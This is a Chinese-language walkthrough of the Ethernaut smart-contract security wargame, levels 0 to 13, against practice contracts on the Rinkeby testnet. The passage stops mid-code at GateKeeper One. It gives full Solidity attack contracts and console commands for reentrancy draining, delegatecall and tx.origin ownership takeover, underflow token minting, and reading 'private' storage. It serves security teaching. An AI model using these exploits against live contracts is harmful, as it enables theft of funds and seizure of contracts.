[区块链安全-Ethernaut]区块链智能合约安全实战-已完结

  • 准备
  • 0. Hello Ethernaut
    • 准备工作
    • 创建实例并分析
    • 合约交互
    • 总结
  • 1. Fallback
    • 创建实例并分析
    • 合约交互
    • 总结
  • 2. Fallout
    • 创建实例并分析
    • 合约交互
    • 总结
  • 3. Coin Flip
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 4. Telephone
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 5. Token
    • 创建实例并分析
    • 合约交互
    • 总结
  • 6. Delegation
    • 创建实例并分析
    • 合约交互
    • 总结
  • 7. Force
    • 创建实例并分析
    • 合约交互
    • 总结
  • 8. Vault
    • 创建实例并分析
    • 合约交互
    • 总结
  • 9 King
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 10 Re-entrancy
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 11 Elevator
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 12 Privacy
    • 创建实例并分析
    • 合约交互
    • 总结
  • 13 GateKeeper One
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 14 GateKeeper Two
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 15 Naught Coin
    • 创建实例并分析
    • 合约交互
    • 总结
  • 16 Preservation
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 17 Recovery
    • 创建实例并分析
    • 合约交互
      • 找到遗忘的地址,方法一 : 基于浏览器
      • 找到遗忘的地址,方法二 : 基于地址生成
      • 找回
    • 总结
  • 18 MagicNumber
    • 创建实例并分析
    • 合约编写
      • 运行态字节码
      • 初始化字节码
      • 构建与测试
    • 总结
  • 19 AlienCodex
    • 创建实例并分析
    • 合约交互
    • 总结
  • 20 Denial
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 21 Shop
    • 创建实例并分析
    • 攻击合约编写
      • 外部合约的状态变化
      • 本身变量的变化
    • 合约交互
    • 总结
  • 22 Dex
    • 创建实例并分析
    • 合约交互
    • 总结
  • 23 Dex2
    • 创建实例并分析
    • 编写攻击合约
    • 合约交互
    • 总结
  • 24 Puzzle Wallet
    • 创建实例并分析
    • 合约交互
    • 总结
  • 25 Motorbike
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 26 DoubleEntryPoint
    • 创建实例并分析
    • 攻击合约编写
    • 合约交互
    • 总结
  • 总结

准备

随着区块链技术的逐渐推广,区块链安全也逐渐成为研究的热点。在其中,又以智能智能合约安全最为突出。Ethernaut正是入门研究区块链智能合约安全的好工具。

  • 首先,应确保安装Metamask,如果可以使用Google Extension可以直接安装,否则可以使用FireFox安装
  • 新建账号,并连接到RinkeBy Test Network(需要在Setting - Advanced里启用Show test networks,并在网络中进行切换)

    现在就可以开始Ethernaut的探索之旅了!

0. Hello Ethernaut

本节比较简单,所以我将更关注整体过程,介绍Ethernaut的实例创建等等,自己也梳理一下,所以会更详细一些。

准备工作

进入Hello Ethernaut,会自动提示连接Metamask钱包,连接后,示意图如下:

按F12打开开发者工具,在console界面就可以进行智能合约的交互。

创建实例并分析

单击 Get New Instance 以创建新的合约实例。

可以看出我们实际上是通过与合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33交互以创建实例。在辅导参数中,调用0xdfc86b17方法,附带地址为0x4e73b858fd5d7a5fc1c3455061de52a53f35d966作为参数。实际上,所有关卡创建实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33,附带的地址则是用来表明所处的关卡,如本例URL地址也为
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966


实例已经成功生成,主合约交易截图如下:


进入交易详情,查看内部交易,发现合约之间产生了调用。第一笔是由主合约调用关卡合约,第二笔是由关卡合约创建合约实例,其中实例地址为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822


回到页面来看,可以确认生成实例的确为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822

下面我们将进行合约的交互以完成本关卡。

合约交互

此时,在console界面可以通过playercontract分别查看用户当前账户和被创建合约实例。player代表用户钱包账户地址,而contract则包含合约实例abiaddress、以及方法信息。


按照提示要求输入await contract.info() ,得到结果'You will find what you need in info1().'

输入await contract.info1(),得到结果'Try info2(), but with "hello" as a parameter.'

输入await contract.info2('hello'),得到结果'The property infoNum holds the number of the next info method to call.

输入await contract.infoNum(),得到infoNum参数值为42(Word中的首位)。这就是下一步要调用的函数(info42)。

输入await contract.info42(),得到结果'theMethodName is the name of the next method.,即下一步应当调用theMethodName


输入await contract.theMethodName(),得到结果'The method name is method7123949.


输入await contract.method7123949(),得到结果'If you know the password, submit it to authenticate().

所以通过password()可以获取密码ethernaut0,并将其提交到authenticate(string)

注意当在进行authenticate()函数时,Metamask会弹出交易确认,这是因为该函数改变了合约内部的状态(以实现对关卡成功的检查工作),而其他先前调用的函数却没有(为View)。

此时,本关卡已经完成。可以选择Sumbit Instance进行提交,同样要签名完成交易


在此之后,Console页面弹出成功提示,本关卡完成!

总结

本题比较简单,更多的是要熟悉ethernaut的操作和原理。


1. Fallback

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
本关卡要求获得合约的所有权并清空余额
观察其源代码,找到合约所有权变更的入口。找到两个,分别是contribute()receive(),其代码如下:

  function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] += msg.value;if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}

按照contribute()的逻辑,当用户随调用发送小于0.001 ether其总贡献额超过了owner,即可获得合约的所有权。这个过程看似简单,但是通过以下constructor()函数可以看出,在创建时,owner的创建额为1000 ether,所以这种方法不是很实用。

  constructor() public {owner = msg.sender;contributions[msg.sender] = 1000 * (1 ether);}

再考虑receive()函数,根据其逻辑,当用户发送任意ether,且在此之前已有贡献(已调用过contribute()函数),即可获得合约所有权。receive()类似于fallback(),当用户发送通证却没有指定函数对应时(如sendTransaction()),会调用该方法。
在获取所有权后,再调用withdraw函数既可以清空合约余额。

合约交互

使用contract命令,查看合约abi及对外函数情况。


调用await contract.contribute({value:1}),向合约发送1单位Wei。


此时,调用await contract.getContribution()查看用户贡献,发现贡献度为1,满足调用receiver()默认函数的最低要求。


使用await contract.sendTransaction({value:1})构造转账交易发送给合约,

调用await contract.owner() === player 确认合约所有者已经变更。

最后调用await contract.withdraw()取出余额。

提交实例,显示关卡成功!

总结

本关卡也算比较简单,主要需要分析代码内部的逻辑,理解fallback()receive的原理。


2. Fallout

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x891A088f5597FC0f30035C2C64CadC8b07566DC2
本关卡要求获取合约的所有权。首先使用contract命令查看合约的abi及函数信息。

查看合约源码,寻找可能的突破点。结果发现Fal1out()函数即为突破口。其代码如下:

  /* constructor */function Fal1out() public payable {owner = msg.sender;allocations[owner] = msg.value;}

对于Solidity来说,其在0.4.22前的编译器版本支持同合约名的构造函数,如:

pragma solidity ^0.4.21;contract DemoTest{function DemoTest() public{}
}

而在0.4.22起只支持利用constructor()构建,如:

pragma solidity ^0.4.22;contract DemoTest{constructor() public{}
}

但在本关卡中,很明显合约创建者出错,将Fallout写成了Fal1out。所以我们直接调用函数Fal1out即可获得所有权。

合约交互

使用await contract.owner()获取当前合约所有者为0x0地址。

调用await contract.Fal1out({value:1})实现所有权的获取。

调用await contract.owner() === player确认已获取合约所有权。

提交实例,本关卡完成!

总结

本关卡比较简单,主要考察对于合约细节和构造函数的理解和把握。


3. Coin Flip

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
本关卡要求连续10次猜对硬币的正反面

我们首先对代码展开观察,其代码示意如下图所示:

  function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(blockhash(block.number.sub(1)));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}

可知,硬币的正反面是由当前区块前一区块的高度所决定的。如果我们不知道当前区块高度是多少,就难以提前预知硬币的正反面。且同时,合约通过lastHash保证同一区块只能有一次提交。
此处我们将引入合约间调用的概念,正如我们在Hello Ethernaut关卡中分析的那样,合约也可以调用合约,具体操作则作为Internal Txns,但仍与初始调用处于同一区块中。所以我们可以新建自己的智能合约,提前预测硬币正反面,并向关卡合约发出请求。

下面就到了合约间调用的内容了,其主要有几种:

  • 使用被调用合约实例(已知被调用合约代码)
  • 使用被调用合约接口实例(仅知道被调用合约接口)
  • 使用call命令调用合约

我们将编写自己的智能合约,从以上三个思路入手,实现合约间调用。

攻击合约编写

利用Remix在线编辑器编写合约,代码如下所示,其中CoinFlipAttack就是我们的攻击合约,而CoinFlipCoinFlipInterface都是为目标合约提供abi接口而定义的:

pragma solidity ^0.6.0;// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip {
// 复制本关卡代码,此处省略....
}// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface {function flip(bool _guess) external returns (bool);
}contract CoinFlipAttacker{using SafeMath for uint256;address private addr;CoinFlip cf_ins;CoinFlipInterface cf_interface;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;constructor(address _addr) public {addr = _addr;cf_ins = CoinFlip(_addr);cf_interface = CoinFlipInterface(_addr);}// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用function getFlip() private returns (bool) {uint256 blockValue = uint256(blockhash(block.number.sub(1)));uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;return side;}// 使用被调用合约实例(已知被调用合约代码)function attackByIns() public {bool side = getFlip();cf_ins.flip(side);}// 使用被调用合约接口实例(仅知道被调用合约接口)function attackByInterface() public {bool side = getFlip();cf_interface.flip(side);}// 使用call命令调用合约function attackByCall() public {bool side = getFlip();addr.call(abi.encodeWithSignature("flip(bool)",side));}}

合约交互

此时,我们选择0.6.12+commit.27d51765.js的编译器,通过编译,如下图所示:

在部署页面,选择Injected Web3,连接Metamask钱包,调用攻击合约的构造函数,其中构造参数传入目标合约0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54


小狐狸签名,合约部署完成,攻击合约地址为0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF,显示如下调用接口,我们接下来将分别从以下三种方式展开攻击:

  • 使用被调用合约实例(attackByIns)
    在调用前,我们有连续猜中次数为3,如下图所示:

    点击attackByIns,弹出Metamask确认弹窗,确认,当前区块已成功挖出。


而此时连续猜中次数变为4,该方法验证成功!

  • 使用被调用合约接口实例(attackByInterface)

此时,连续猜中次数为4,点击attackByInterface,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

而此时连续猜中次数变为5,该方法验证成功!

  • 使用call命令调用合约(attackByCall)
    此时,连续猜中次数为5,点击attackByCall,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

    而此时连续猜中次数变为6,该方法验证成功!

无论是哪种方法都可以实现同区块内的合约调用,但一定要注意gas limit的设置,如果不够会爆出out of gas或者reverted的错误,可以在小狐狸确认界面进行设置。

我们接下来可以使用任意调用再做4次直至到10,最终提交!
提交实例,本关卡完成!

总结

本关卡主要考察solidity的编写及合约间的调用。我在做的时候遇到了很多gas相关的问题,以前不是很注意,现在要非常注意了!


4. Telephone

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xba9405B2d9D1B92032740a67B91690a70B769221
分析其合约源码,要求变更合约所有权,其突破口在于changeOwner函数,函数代码如下所示:

  function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}

其先决条件在于tx.originmsg.sender不相同,那我们应对此展开研究。

  • tx.origin会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
  • msg.sender为直接调用智能合约功能的帐户或智能合约的地址

两者区别在于如果同一笔交易内有多笔调用,tx.origin保持不变,而msg.sender将会发生改变。我们将以此为根据,编写智能合约,将该合约作为中间人展开攻击。

攻击合约编写

同样在remix中编写合约,合约代码如下,与上一关卡类似,通过interface接口创建合约接口实例,我们则通过attack函数执行攻击

pragma solidity ^0.6.0;interface TelephoneInterface {function changeOwner(address _owner) external;
}contract TelephoneAttacker {TelephoneInterface tele;constructor(address _addr) public {tele = TelephoneInterface(_addr);}function attack(address _owner) public {tele.changeOwner(_owner);}}

合约交互

初始时,合约所有权尚未得到。


我们在remix上部署合约,参数附带0xba9405B2d9D1B92032740a67B91690a70B769221以初始化被攻击合约接口实例tele。生成攻击合约地址为0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811

在remix上调用attack函数,参数为0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b即钱包地址。

此时,再检查所有权发现已发生变更。

提交实例,本关卡已成功通过。

总结

tx.origin这个有很多合约在用,但如果使用不当,会引起很严重的后果。
比如说,我设置了合约,引起被攻击合约主动发起调用,在接受函数里展开攻击,就可以绕过tx.origin相关的安全设置。


5. Token

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
由合约创建过程来看,应是实例创建合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33调用关卡合约0x63bE8347A617476CA461649897238A31835a32CE创建目标合约,并向player转账20token

分析其合约源码,要求增加已有的通证数量,应该从transfer函数入手,函数代码如下:

  function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}

这里代码里犯了一个错误,那就是对于uint运算没有做溢出检查,举例来说对于8位无符号整型,会有0-1=255255+1=0的错误产生。我们就可以利用这一漏洞,实现通证的无限增发。

合约交互

调用await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)函数,注意此处不能给自身转账,因为会先出现下溢出,再出现上溢出,我们直接转账给关卡合约21个token,此时20-21发生了下溢出,达到最大值。此时,可以看到,通证数量发生了增长。


提交实例,本关卡通过!

总结

这就是为什么我们需要Safemath。写合约时一定要注意上溢出和下溢出!

6. Delegation

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
本关卡要求**获取合约Delegation**的所有权。

对合约展开分析,源代码部分提供了两部分合约,一个是Delegate,另一个则是Delegation。两合约间通过Delegationfallback函数,基于delegatecall方法展开调用。

  fallback() external {(bool result,) = address(delegate).delegatecall(msg.data);if (result) {this;}}

对于Delegation合约来说,其内部找不到更换所有权的代码,我们就可以换个思路,看看Delegate合约里有没有。分析合约可以看到,pwn()可以实现。

  function pwn() public {owner = msg.sender;}

这时候可能有人会感到疑惑,DelegateDelegation是两个不同的合约,如果我们仅去修改Delegate里的owner,会对跨合约调用它的Delegation产生影响吗?

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 calldelegatecallcallcode,我们下面就要来分析以下三种跨合约调用方法的区别(以用户A通过B合约调用C合约为例):

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
  • delegatecall:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境B
  • callcode:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B

所以当时用delegatecall时,尽管我们是调用Delegate合约中的函数,但实际上,我们是在Delegation环境里去做得,可以理解为将代码“引入”了。因此,我们可以实现合约权的转移。

合约交互

初始化时,有合约所有权并不为player

使用contract.sendTransaction({value:1,data:web3.utils.keccak256("pwn()").slice(0,10)})来发起调用,结果失败,仔细一看是因为fallback没有payable修饰。这是一开始的理解错误,观察不够仔细。


去掉value,重新调用await contract.sendTransaction({data:web3.utils.keccak256("pwn()").slice(0,10)})。此时合约所有权已完成转移。解释一下,这里data是为了调用pwn函数,使用sha3编码并取了前4个字节,此处因为没有入参,所以作了简化。

提交合约实例,本关卡成功!

总结

合约间的调用需要非常谨慎,delegate原来是为了编程弹性,但如果处理不当,会给安全带来很大问题!


7. Force

不好意思,最近工作上略有些忙,因为工作涉及到对外网络安全贸易,所以最近一直忙着培训。但这块肯定会持续完成。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xa39A09c4ebcf4069306147035dd7cE7735A25532
本关卡要求给合约Force转入通证,但是究其合约,似乎并没有payable函数。那么我们该怎么做呢?

在实际中,如果要给智能合约转账,有几种常见方法。

  • Transfer: Throws exception when an error occurs, and the code will not execute afterward
  • Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
  • call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute, but call functions for transfer are prone to reentrancy attacks.

三种方式存在一个前提,即接受合约必须能够接受转账,即存在payable函数,否则将会回退。

那么有没有其他方法呢?

However, there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation, the remaining ether on the contract account will be sent to a specified target, and its storage and code are erased

也就是说,我们可以通过合约的自毁函数,将合约剩下的以太发送给指定地址,此时不需要判断该地址谁否能够接受转账。所以我们可以构建智能合约,完成自毁,即可实现攻击。

合约交互

合约本身并不提供余额查询,所以我们前往链上查询。此时合约余额为0。


我们通过remix构建合约,其中写入自毁函数。

pragma solidity ^0.6.0;contract ForceAttacker {constructor() public payable{}function destruct(address payable addr) public {selfdestruct(addr);}}

新建合约,部署到Rinkeby测试网,合约地址0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

以被攻击合约为变量,调用destruct函数。

此时可以看到,被攻击合约链上地址余额发生变化,从0变为了50。


提交实例,本关卡成功通过!

总结

selfdestruct不会触发payable检查,如果没有很好的检查,很可能会对合约本身的运行带来难以预估的影响。为了防止黑客对于this.balance的操纵,我们应使用balance变量来接受特定业务逻辑的余额。


8. Vault

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x81E840E30457eBF63B41bE233ed81Db4BcCF575E

对合约展开分析,本关卡的要求是解锁,而解锁的唯一办法是输入正确的password。本关卡对password的定义是私有变量,那时不时就看不到了呢?

答案是否定的,一切变量都存储在链上,我们自然可以看到。现在问题就是,在哪看,用什么看?

第一个回答是用什么看?

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback]),使用这个命令可以看到储存在某个地址的存储内容。
其参数代表含义如下:

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

一般来说,我们使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);,后面两个参数一般都是可选的。

第二个回答是怎么看?

以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽(slot),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

每个插槽32字节,对于值类型,其存放是连续的,满足以下规律。

  • 存储插槽的第一项会以低位对齐(即右对齐)的方式储存
  • 基本类型仅使用存储它们所需的字节
  • 如果存储插槽中的剩余空间不足以储存一个基本类型,那么它会被移入下一个存储插槽
  • 结构和数组数据总是会占用一整个新插槽(但结构或数组中的各项,都会以这些规则进行打包)

例如以下合约

pragma solidity ^0.4.0;contract C {address a;      // 0uint8 b;        // 0uint256 c;      // 1bytes24 d;      // 2
}

其存储布局如下:

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------

回到本题,很明显存储摆放应该是

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------

所以我们可以通过slot1获取password信息。

合约交互

输入await web3.eth.getStorageAt(contract.address,1)获取byte32 password

此时,合约仍然上锁(可通过await contract.locked())查询。


调用await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')实现对合约的解锁。

此时,合约已经解锁。

提交实例,本关卡成功通过。

总结

区块链上没有秘密。


9 King

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2。对其合约展开分析,其合约功能在于以下代码段:

  receive() external payable {require(msg.value >= prize || msg.sender == owner);king.transfer(msg.value);king = msg.sender;prize = msg.value;}

当接收到外来转账时,如果发送金额大于当前奖金,即将发送金额发送给当前国王,更新奖金,而发送者将成为新的国王。
本关卡目的在于打破这一循环。

打破这一循环的入手点就在于该函数交互实际上是一个连续的过程。

  1. 用户发送指定金额的以太。
  2. 合约将以太转发给当前国王
  3. 更新国王及奖金。

我们只要作为国王,拒不接受合约转来的奖金,整个过程即可回退。

攻击合约编写

我们同样在remix里编写攻击合约。如下:


contract KingAttacker {constructor() public payable{}function attack(address payable addr) public payable{addr.call.value(msg.value)("");}fallback() external payable{revert();}}

在接受函数,我们主动回退,即可防止合约继续执行。

合约交互

首先我们先看看当前我们需传入多少。在目标合约详情页面,可以看到,创建合约时传入0.001Ether。


所以我们创建攻击合约(0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208)后,传入2Finney,调用攻击合约attack方法。


此时我们看看国王,使用await contract._king(),可以看出,国王已经变成攻击合约。

提交合约,关卡成功!


查看链上数据可知,在执行过程中产生了回滚(revert)。

总结

攻击时可以从合约执行的多个角度入手。


10 Re-entrancy

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e。对其合约展开分析,其合约提取函数如下:

  function withdraw(uint _amount) public {if(balances[msg.sender] >= _amount) {(bool result,) = msg.sender.call{value:_amount}("");if(result) {_amount;}balances[msg.sender] -= _amount;}}

这个合约的问题在哪里呢?那就是他弄错了记账、转账的顺序(先转账,再记账)。一般来说,我们去银行取钱,银行都会先在自己的账本上记一笔,然后才会把钱取出来给我们。虽然说,我们也不可能同时出现在两个地方取钱,但在区块链中,有没有可能呢?

答案是有的,如果我们在接受合约转账的同时又发起新的取钱操作,那么很明显,如果是连续的调用过程,在未修改账本的情况下,合约仍会给用户转账?

那么,怎样做才能保证实现连续的调用呢?那就是使用合约去与被攻击合约进行交互。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;interface Reentrance{function donate(address _to) external payable;function withdraw(uint _amount) external;function balanceOf(address _who) external view returns (uint balanceOf);
}contract Attacker {Reentrance ReentranceImpl;uint256 requiredValue;constructor(address addr) public payable{ReentranceImpl = Reentrance(addr);requiredValue = msg.value;}function getBalance(address addr) public view returns (uint){return addr.balance;}function donate() public {ReentranceImpl.donate{value:requiredValue}(address(this));}function withdraw(uint _amount) public {ReentranceImpl.withdraw(_amount);}function destruct() public {selfdestruct(msg.sender);}fallback() external payable {uint256 ReentranceImplValue = address(ReentranceImpl).balance;if (ReentranceImplValue >= requiredValue) {withdraw(requiredValue);}else if(ReentranceImplValue > 0) {withdraw(ReentranceImplValue);}}
}

我们使用ReentranceImpl标记目标合约,使用requiredValue来表示合约在目标合约中存的钱。同时,我们又定义fallback函数,每当受到资金时,就会调用withdraw函数,从目标合约中提取余额。让我们进行合约交互。

合约交互

先查看合约本身有多少以太,在浏览器上查看,发现总共有0.001以太。

所以我们在部署合约时传入500000000000000 Wei,这样能反复调用三次,以确认合约的攻击效果,同时我们传入目标合约地址0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e,部署后,攻击合约地址为0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287

首先我们查询合约本身余额,为500000000000000 Wei,其次我们查询目标合约余额,为1000000000000000 Wei。


我们利用donate函数向目标合约存入余额。

此时,目标合约的余额也变成了0.0015Ether。
我们接下来发起攻击,即使用withdraw函数提取500000000000000 Wei。发起交易时,应在小狐狸界面修改gas。等待交易完成,此时有合约中实现了三笔转账。

而目标合约余额已经归零,攻击完成!

提交实例,本关卡完成!

最后别忘了通过合约自毁(destruct)收回余额哦~

总结

合约的设计应当充分谨慎,任意一点疏忽都会带来很大影响


11 Elevator

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE。对其合约展开分析,其合约核心代码如下:

  function goTo(uint _floor) public {Building building = Building(msg.sender);if (! building.isLastFloor(_floor)) {floor = _floor;top = building.isLastFloor(floor);}}

由于先判断isLastFloor,不满足后才进入if结构体,并再次获取isLastFloor。该合约于是想当然认为,第二次获取的结果依然不满足,是这样吗?

由于对外调用带来的影响,在外部调用时合约无法控制外部合约的行为。所以我们可以编写智能合约发起相关进攻。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;interface   Elevator{function goTo(uint _floor) external;
}contract Building {Elevator elevatorImpl;bool isTop;constructor(address addr) public {elevatorImpl = Elevator(addr);isTop = false;}function flip() public {isTop = !isTop;}function isLastFloor(uint) public returns (bool){bool res = isTop;flip();return res;}function attack() public {elevatorImpl.goTo(1);}
}

其核心之处在于,每次调用isLastFloor函数都会内部调用flip函数完成变量isTop的翻转,因此连续两次获取的结果是不一样的。

合约交互

输入await contract.top()查看是否为顶层,结果为false。

部署合约,传入目标合约0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE,构建合约的地址为0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a

调用attack()函数,发起对目标合约的攻击。

此时,再次查看,输入await contract.top()查看是否为顶层,结果为true。

提交实例,本关卡成功!

总结

合约是难以相信的,即使合约编写的再好,无法控制他人的行为,也毫无用处。


12 Privacy

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf。对其合约展开分析,其合约核心代码如下:

  function unlock(bytes16 _key) public {require(_key == bytes16(data[2]));locked = false;}

此时,应当输入data[2],而这又该怎么获得呢?很明显,我们还是要从存储机制入手。

  bool public locked = true;uint256 public ID = block.timestamp;uint8 private flattening = 10;uint8 private denomination = 255;uint16 private awkwardness = uint16(now);bytes32[3] private data;

这是变量定义,对应的,我们有槽存储分布如下:

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------

所以,data[2]存储在slot 5里。

合约交互

输入await web3.eth.getStorageAt(contract.address,5)得到data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'

此时bytes16与bytes32之间存在转换。要注意,以太坊有两种存储方式,大端(strings & bytes,从左开始)及小端(其他类型,从大开始)。因此,从32到16转换时,需要砍掉右边的16个字节。

我们该怎么做呢?即'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)


之后,直接提交结果,准备解锁。contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')

此时,合约已经完成解锁。

提交实例,本关卡成功!

总结

还是那句话,区块链上没有秘密。


13 GateKeeper One

大家好 我又回来了。最近真的很忙,我抓紧8月份将这一系列完成,然后进行下一步内容的分享。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284。本关卡的目的是满足gateOnegateTwogateThree,成功实现entrant的修改。

那么我们需要怎么做呢?首先看一看modifier分别提出了什么要求。看看能否满足和修改?

  modifier gateOne() {require(msg.sender != tx.origin);_;}

分析gateOne,可以看出需要msg.sender != tx.origin,这表明我们需要一个合约作为中转。

  modifier gateTwo() {require(gasleft().mod(8191) == 0);_;}

分析gateTwo,这表明在执行到该步骤时,需要剩下的gas必须为8191的倍数,这需要我们对gas作出设定。

  modifier gateThree(bytes8 _gateKey) {require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");_;}

分析gateThree,这表明需要输入特殊的bytes8数据,保证其1-16位为tx.origin的数据且17-32位为0(uint32(uint64(_gateKey)) == uint16(tx.origin),),33-64位不全为0(uint32(uint64(_gateKey)) != uint64(_gateKey))。

所以我们可以整理思路,编写智能合约了。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;interface Gate {function enter(bytes8 _gateKey) external returns (bool);
